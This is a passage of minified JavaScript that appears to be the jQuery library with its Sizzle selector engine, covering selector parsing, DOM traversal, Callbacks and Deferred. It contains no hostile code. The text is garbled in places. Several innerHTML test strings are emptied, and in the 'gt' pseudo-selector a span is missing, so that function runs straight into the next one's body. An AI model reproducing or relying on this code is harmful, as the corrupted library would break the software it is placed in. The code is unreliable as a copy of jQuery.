0!==b[d]){a[e++]=b[d++]}}return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++){d=!b(a[f],f),d!==h&&e.push(a[f])}return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h){for(;g>f;f++){d=b(a[f],f,c),null!=d&&i.push(d)}}else{for(f in a){d=b(a[f],f,c),null!=d&&i.push(d)}}return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(f=a[b],b=a,a=f),n.isFunction(a)?(c=d.call(arguments,2),e=function(){return a.apply(b||this,c.concat(d.call(arguments)))},e.guid=a.guid=a.guid||n.guid++,e):void 0},now:function(){return +new Date},support:l}),n.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function s(a){var b=a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s="sizzle"+-new Date,t=a.document,u=0,v=0,w=eb(),x=eb(),y=eb(),z=function(a,b){return a===b&&(j=!0),0},A="undefined",B=1<<31,C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=D.indexOf||function(a){for(var b=0,c=this.length;c>b;b++){if(this[b]===a){return b}}return -1},J="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",K="[\\x20\\t\\r\\n\\f]",L="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",M=L.replace("w","w#"),N="\\["+K+"*("+L+")"+K+"*(?:([*^$|!~]?=)"+K+"*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|("+M+")|)|)"+K+"*\\]",O=":("+L+")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|"+N.replace(3,8)+")*)|.*)\\)|)",P=new RegExp("^"+K+"+|((?:^|[^\\\\])(?:\\\\.)*)"+K+"+$","g"),Q=new RegExp("^"+K+"*,"+K+"*"),R=new RegExp("^"+K+"*([>+~]|"+K+")"+K+"*"),S=new RegExp("="+K+"*([^\\]'\"]*?)"+K+"*\\]","g"),T=new RegExp(O),U=new RegExp("^"+M+"$"),V={ID:new RegExp("^#("+L+")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L.replace("w","w*")+")"),ATTR:new RegExp("^"+N),PSEUDO:new RegExp("^"+O),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+K+"*(even|odd|(([+-]|)(\\d*)n|)"+K+"*(?:([+-]|)"+K+"*(\\d+)|))"+K+"*\\)|)","i"),bool:new RegExp("^(?:"+J+")$","i"),needsContext:new RegExp("^"+K+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+K+"*((?:-\\d)?\\d*)"+K+"*\\)|)(?=[^-]|$)","i")},W=/^(?:input|select|textarea|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,$=/[+~]/,_=/'|\\/g,ab=new RegExp("\\\\([\\da-f]{1,6}"+K+"?|("+K+")|.)","ig"),bb=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)};try{G.apply(D=H.call(t.childNodes),t.childNodes),D[t.childNodes.length].nodeType}catch(cb){G={apply:D.length?function(a,b){F.apply(a,H.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]){}a.length=c-1}}}function db(a,b,d,e){var f,g,h,i,j,m,p,q,u,v;if((b?b.ownerDocument||b:t)!==l&&k(b),b=b||l,d=d||[],!a||"string"!=typeof a){return d}if(1!==(i=b.nodeType)&&9!==i){return[]}if(n&&!e){if(f=Z.exec(a)){if(h=f[1]){if(9===i){if(g=b.getElementById(h),!g||!g.parentNode){return d}if(g.id===h){return d.push(g),d}}else{if(b.ownerDocument&&(g=b.ownerDocument.getElementById(h))&&r(b,g)&&g.id===h){return d.push(g),d}}}else{if(f[2]){return G.apply(d,b.getElementsByTagName(a)),d}if((h=f[3])&&c.getElementsByClassName&&b.getElementsByClassName){return G.apply(d,b.getElementsByClassName(h)),d}}}if(c.qsa&&(!o||!o.test(a))){if(q=p=s,u=b,v=9===i&&a,1===i&&"object"!==b.nodeName.toLowerCase()){m=ob(a),(p=b.getAttribute("id"))?q=p.replace(_,"\\$&"):b.setAttribute("id",q),q="[id='"+q+"'] ",j=m.length;while(j--){m[j]=q+pb(m[j])}u=$.test(a)&&mb(b.parentNode)||b,v=m.join(",")}if(v){try{return G.apply(d,u.querySelectorAll(v)),d}catch(w){}finally{p||b.removeAttribute("id")}}}}return xb(a.replace(P,"$1"),b,d,e)}function eb(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function fb(a){return a[s]=!0,a}function gb(a){var b=l.createElement("div");try{return !!a(b)}catch(c){return !1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function hb(a,b){var c=a.split("|"),e=a.length;while(e--){d.attrHandle[c[e]]=b}}function ib(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||B)-(~a.sourceIndex||B);if(d){return d}if(c){while(c=c.nextSibling){if(c===b){return -1}}}return a?1:-1}function jb(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function kb(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function lb(a){return fb(function(b){return b=+b,fb(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--){c[e=f[g]]&&(c[e]=!(d[e]=c[e]))}})})}function mb(a){return a&&typeof a.getElementsByTagName!==A&&a}c=db.support={},f=db.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},k=db.setDocument=function(a){var b,e=a?a.ownerDocument||a:t,g=e.defaultView;return e!==l&&9===e.nodeType&&e.documentElement?(l=e,m=e.documentElement,n=!f(e),g&&g!==g.top&&(g.addEventListener?g.addEventListener("unload",function(){k()},!1):g.attachEvent&&g.attachEvent("onunload",function(){k()})),c.attributes=gb(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=gb(function(a){return a.appendChild(e.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Y.test(e.getElementsByClassName)&&gb(function(a){return a.innerHTML="
    ",a.firstChild.className="i",2===a.getElementsByClassName("i").length}),c.getById=gb(function(a){return m.appendChild(a).id=s,!e.getElementsByName||!e.getElementsByName(s).length}),c.getById?(d.find.ID=function(a,b){if(typeof b.getElementById!==A&&n){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ab,bb);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ab,bb);return function(a){var c=typeof a.getAttributeNode!==A&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return typeof b.getElementsByTagName!==A?b.getElementsByTagName(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++]){1===c.nodeType&&d.push(c)}return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return typeof b.getElementsByClassName!==A&&n?b.getElementsByClassName(a):void 0},p=[],o=[],(c.qsa=Y.test(e.querySelectorAll))&&(gb(function(a){a.innerHTML="",a.querySelectorAll("[t^='']").length&&o.push("[*^$]="+K+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||o.push("\\["+K+"*(?:value|"+J+")"),a.querySelectorAll(":checked").length||o.push(":checked")}),gb(function(a){var b=e.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&o.push("name"+K+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||o.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),o.push(",.*:")})),(c.matchesSelector=Y.test(q=m.webkitMatchesSelector||m.mozMatchesSelector||m.oMatchesSelector||m.msMatchesSelector))&&gb(function(a){c.disconnectedMatch=q.call(a,"div"),q.call(a,"[s!='']:x"),p.push("!=",O)}),o=o.length&&new RegExp(o.join("|")),p=p.length&&new RegExp(p.join("|")),b=Y.test(m.compareDocumentPosition),r=b||Y.test(m.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b){while(b=b.parentNode){if(b===a){return !0}}}return !1},z=b?function(a,b){if(a===b){return j=!0,0}var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===e||a.ownerDocument===t&&r(t,a)?-1:b===e||b.ownerDocument===t&&r(t,b)?1:i?I.call(i,a)-I.call(i,b):0:4&d?-1:1)}:function(a,b){if(a===b){return j=!0,0}var c,d=0,f=a.parentNode,g=b.parentNode,h=[a],k=[b];if(!f||!g){return a===e?-1:b===e?1:f?-1:g?1:i?I.call(i,a)-I.call(i,b):0}if(f===g){return ib(a,b)}c=a;while(c=c.parentNode){h.unshift(c)}c=b;while(c=c.parentNode){k.unshift(c)}while(h[d]===k[d]){d++}return d?ib(h[d],k[d]):h[d]===t?-1:k[d]===t?1:0},e):l},db.matches=function(a,b){return db(a,null,null,b)},db.matchesSelector=function(a,b){if((a.ownerDocument||a)!==l&&k(a),b=b.replace(S,"='$1']"),!(!c.matchesSelector||!n||p&&p.test(b)||o&&o.test(b))){try{var d=q.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType){return d}}catch(e){}}return db(b,l,null,[a]).length>0},db.contains=function(a,b){return(a.ownerDocument||a)!==l&&k(a),r(a,b)},db.attr=function(a,b){(a.ownerDocument||a)!==l&&k(a);var e=d.attrHandle[b.toLowerCase()],f=e&&C.call(d.attrHandle,b.toLowerCase())?e(a,b,!n):void 0;return void 0!==f?f:c.attributes||!n?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},db.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},db.uniqueSort=function(a){var b,d=[],e=0,f=0;if(j=!c.detectDuplicates,i=!c.sortStable&&a.slice(0),a.sort(z),j){while(b=a[f++]){b===a[f]&&(e=d.push(f))}while(e--){a.splice(d[e],1)}}return i=null,a},e=db.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent){return a.textContent}for(a=a.firstChild;a;a=a.nextSibling){c+=e(a)}}else{if(3===f||4===f){return a.nodeValue}}}else{while(b=a[d++]){c+=e(b)}}return c},d=db.selectors={cacheLength:50,createPseudo:fb,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ab,bb),a[3]=(a[4]||a[5]||"").replace(ab,bb),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||db.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&db.error(a[0]),a},PSEUDO:function(a){var b,c=!a[5]&&a[2];return V.CHILD.test(a[0])?null:(a[3]&&void 0!==a[4]?a[2]=a[4]:c&&T.test(c)&&(b=ob(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ab,bb).toLowerCase();return"*"===a?function(){return !0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=w[a+" "];return b||(b=new RegExp("(^|"+K+")"+a+"("+K+"|$)"))&&w(a,function(a){return b.test("string"==typeof a.className&&a.className||typeof a.getAttribute!==A&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=db.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return !!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),t=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p]){if(h?l.nodeName.toLowerCase()===r:1===l.nodeType){return !1}}o=p="only"===a&&!o&&"nextSibling"}return !0}if(o=[g?q.firstChild:q.lastChild],g&&t){k=q[s]||(q[s]={}),j=k[a]||[],n=j[0]===u&&j[1],m=j[0]===u&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop()){if(1===l.nodeType&&++m&&l===b){k[a]=[u,n,m];break}}}else{if(t&&(j=(b[s]||(b[s]={}))[a])&&j[0]===u){m=j[1]}else{while(l=++n&&l&&l[p]||(m=n=0)||o.pop()){if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(t&&((l[s]||(l[s]={}))[a]=[u,m]),l===b)){break}}}}return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||db.error("unsupported pseudo: "+a);return e[s]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?fb(function(a,c){var d,f=e(a,b),g=f.length;while(g--){d=I.call(a,f[g]),a[d]=!(c[d]=f[g])}}):function(a){return e(a,0,c)}):e}},pseudos:{not:fb(function(a){var b=[],c=[],d=g(a.replace(P,"$1"));return d[s]?fb(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--){(f=g[h])&&(a[h]=!(b[h]=f))}}):function(a,e,f){return b[0]=a,d(b,null,f,c),!c.pop()}}),has:fb(function(a){return function(b){return db(a,b).length>0}}),contains:fb(function(a){return function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:fb(function(a){return U.test(a||"")||db.error("unsupported lang: "+a),a=a.replace(ab,bb).toLowerCase(),function(b){var c;do{if(c=n?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang")){return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-")}}while((b=b.parentNode)&&1===b.nodeType);return !1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===m},focus:function(a){return a===l.activeElement&&(!l.hasFocus||l.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling){if(a.nodeType<6){return !1}}return !0},parent:function(a){return !d.pseudos.empty(a)},header:function(a){return X.test(a.nodeName)},input:function(a){return W.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:lb(function(){return[0]}),last:lb(function(a,b){return[b-1]}),eq:lb(function(a,b,c){return[0>c?c+b:c]}),even:lb(function(a,b){for(var c=0;b>c;c+=2){a.push(c)}return a}),odd:lb(function(a,b){for(var c=1;b>c;c+=2){a.push(c)}return a}),lt:lb(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;){a.push(d)}return a}),gt:lb(function(a,b,c){for(var d=0>c?c+b:c;++db;b++){d+=a[b].value}return d}function qb(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=v++;return b.first?function(b,c,f){while(b=b[d]){if(1===b.nodeType||e){return a(b,c,f)}}}:function(b,c,g){var h,i,j=[u,f];if(g){while(b=b[d]){if((1===b.nodeType||e)&&a(b,c,g)){return !0}}}else{while(b=b[d]){if(1===b.nodeType||e){if(i=b[s]||(b[s]={}),(h=i[d])&&h[0]===u&&h[1]===f){return j[2]=h[2]}if(i[d]=j,j[2]=a(b,c,g)){return !0}}}}}}function rb(a){return a.length>1?function(b,c,d){var e=a.length;while(e--){if(!a[e](b,c,d)){return !1}}return !0}:a[0]}function sb(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++){(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h))}return g}function tb(a,b,c,d,e,f){return d&&!d[s]&&(d=tb(d)),e&&!e[s]&&(e=tb(e,f)),fb(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||wb(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:sb(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=sb(r,n),d(j,[],h,i),k=j.length;while(k--){(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}}if(f){if(e||a){if(e){j=[],k=r.length;while(k--){(l=r[k])&&j.push(q[k]=l)}e(null,r=[],j,i)}k=r.length;while(k--){(l=r[k])&&(j=e?I.call(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}}else{r=sb(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):G.apply(g,r)}})}function ub(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],i=g||d.relative[" "],j=g?1:0,k=qb(function(a){return a===b},i,!0),l=qb(function(a){return I.call(b,a)>-1},i,!0),m=[function(a,c,d){return !g&&(d||c!==h)||((b=c).nodeType?k(a,c,d):l(a,c,d))}];f>j;j++){if(c=d.relative[a[j].type]){m=[qb(rb(m),c)]}else{if(c=d.filter[a[j].type].apply(null,a[j].matches),c[s]){for(e=++j;f>e;e++){if(d.relative[a[e].type]){break}}return tb(j>1&&rb(m),j>1&&pb(a.slice(0,j-1).concat({value:" "===a[j-2].type?"*":""})).replace(P,"$1"),c,e>j&&ub(a.slice(j,e)),f>e&&ub(a=a.slice(e)),f>e&&pb(a))}m.push(c)}}return rb(m)}function vb(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,i,j,k){var m,n,o,p=0,q="0",r=f&&[],s=[],t=h,v=f||e&&d.find.TAG("*",k),w=u+=null==t?1:Math.random()||0.1,x=v.length;for(k&&(h=g!==l&&g);q!==x&&null!=(m=v[q]);q++){if(e&&m){n=0;while(o=a[n++]){if(o(m,g,i)){j.push(m);break}}k&&(u=w)}c&&((m=!o&&m)&&p--,f&&r.push(m))}if(p+=q,c&&q!==p){n=0;while(o=b[n++]){o(r,s,g,i)}if(f){if(p>0){while(q--){r[q]||s[q]||(s[q]=E.call(j))}}s=sb(s)}G.apply(j,s),k&&!f&&s.length>0&&p+b.length>1&&db.uniqueSort(j)}return k&&(u=w,h=t),r};return c?fb(f):f}g=db.compile=function(a,b){var c,d=[],e=[],f=y[a+" "];if(!f){b||(b=ob(a)),c=b.length;while(c--){f=ub(b[c]),f[s]?d.push(f):e.push(f)}f=y(a,vb(e,d))}return f};function wb(a,b,c){for(var d=0,e=b.length;e>d;d++){db(a,b[d],c)}return c}function xb(a,b,e,f){var h,i,j,k,l,m=ob(a);if(!f&&1===m.length){if(i=m[0]=m[0].slice(0),i.length>2&&"ID"===(j=i[0]).type&&c.getById&&9===b.nodeType&&n&&d.relative[i[1].type]){if(b=(d.find.ID(j.matches[0].replace(ab,bb),b)||[])[0],!b){return e}a=a.slice(i.shift().value.length)}h=V.needsContext.test(a)?0:i.length;while(h--){if(j=i[h],d.relative[k=j.type]){break}if((l=d.find[k])&&(f=l(j.matches[0].replace(ab,bb),$.test(i[0].type)&&mb(b.parentNode)||b))){if(i.splice(h,1),a=f.length&&pb(i),!a){return G.apply(e,f),e}break}}}return g(a,m)(f,b,!n,e,$.test(a)&&mb(b.parentNode)||b),e}return c.sortStable=s.split("").sort(z).join("")===s,c.detectDuplicates=!!j,k(),c.sortDetached=gb(function(a){return 1&a.compareDocumentPosition(l.createElement("div"))}),gb(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||hb("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&gb(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||hb("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),gb(function(a){return null==a.getAttribute("disabled")})||hb(J,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),db}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,w=/^.[^:#\[\.,]*$/;function x(a,b,c){if(n.isFunction(b)){return n.grep(a,function(a,d){return !!b.call(a,d,a)!==c})}if(b.nodeType){return n.grep(a,function(a){return a===b!==c})}if("string"==typeof b){if(w.test(b)){return n.filter(b,a,c)}b=n.filter(b,a)}return n.grep(a,function(a){return n.inArray(a,b)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=[],d=this,e=d.length;if("string"!=typeof a){return this.pushStack(n(a).filter(function(){for(b=0;e>b;b++){if(n.contains(d[b],this)){return !0}}}))}for(b=0;e>b;b++){n.find(a,d[b],c)}return c=this.pushStack(e>1?n.unique(c):c),c.selector=this.selector?this.selector+" "+a:a,c},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return !!x(this,"string"==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=a.document,A=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,B=n.fn.init=function(a,b){var c,d;if(!a){return this}if("string"==typeof a){if(c="<"===a.charAt(0)&&">"===a.charAt(a.length-1)&&a.length>=3?[null,a,null]:A.exec(a),!c||!c[1]&&b){return !b||b.jquery?(b||y).find(a):this.constructor(b).find(a)}if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:z,!0)),v.test(c[1])&&n.isPlainObject(b)){for(c in b){n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c])}}return this}if(d=z.getElementById(c[2]),d&&d.parentNode){if(d.id!==c[2]){return y.find(a)}this.length=1,this[0]=d}return this.context=z,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};B.prototype=n.fn,y=n(z);var C=/^(?:parents|prev(?:Until|All))/,D={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=a[b];while(e&&9!==e.nodeType&&(void 0===c||1!==e.nodeType||!n(e).is(c))){1===e.nodeType&&d.push(e),e=e[b]}return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling){1===a.nodeType&&a!==b&&c.push(a)}return c}}),n.fn.extend({has:function(a){var b,c=n(a,this),d=c.length;return this.filter(function(){for(b=0;d>b;b++){if(n.contains(this,c[b])){return !0}}})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++){for(c=this[d];c&&c!==b;c=c.parentNode){if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}}}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?"string"==typeof a?n.inArray(this[0],n(a)):n.inArray(a.jquery?a[0]:a,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function E(a,b){do{a=a[b]}while(a&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,"parentNode")},parentsUntil:function(a,b,c){return n.dir(a,"parentNode",c)},next:function(a){return E(a,"nextSibling")},prev:function(a){return E(a,"previousSibling")},nextAll:function(a){return n.dir(a,"nextSibling")},prevAll:function(a){return n.dir(a,"previousSibling")},nextUntil:function(a,b,c){return n.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return n.dir(a,"previousSibling",c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return n.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(D[a]||(e=n.unique(e)),C.test(a)&&(e=e.reverse())),this.pushStack(e)}});var F=/\S+/g,G={};function H(a){var b=G[a]={};return n.each(a.match(F)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?G[a]||H(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(c=a.memory&&l,d=!0,f=g||0,g=0,e=h.length,b=!0;h&&e>f;f++){if(h[f].apply(l[0],l[1])===!1&&a.stopOnFalse){c=!1;break}}b=!1,h&&(i?i.length&&j(i.shift()):c?h=[]:k.disable())},k={add:function(){if(h){var d=h.length;!function f(b){n.each(b,function(b,c){var d=n.type(c);"function"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&"string"!==d&&f(c)})}(arguments),b?e=h.length:c&&(g=d,j(c))}return this},remove:function(){return h&&n.each(arguments,function(a,c){var d;while((d=n.inArray(c,h,d))>-1){h.splice(d,1),b&&(e>=d&&e--,f>=d&&f--)}}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],e=0,this},disable:function(){return h=i=c=void 0,this},disabled:function(){return !h},lock:function(){return i=void 0,c||k.disable(),this},locked:function(){return !i},fireWith:function(a,c){return !h||d&&!i||(c=c||[],c=[a,c.slice?c.slice():c],b?i.push(c):j(c)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return !!d}};return k},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1){for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++){c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f}}return f||g.resolveWith(k,c),g.promise()}});var I;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){if(a===!0?!--n.readyWait:!n.isReady){if(!z.body){return setTimeout(n.ready)}n.isReady=!0,a!==!0&&--n.readyWait>0||(I.resolveWith(z,[n]),n.fn.trigger&&n(z).trigger("ready").off("ready"))}}});function J(){z.addEventListener?(z.removeEventListener("DOMContentLoaded",K,!1),a.removeEventListener("load",K,!1)):(z.detachEvent("onreadystatechange",K),a.detachEvent("onload",K))}function 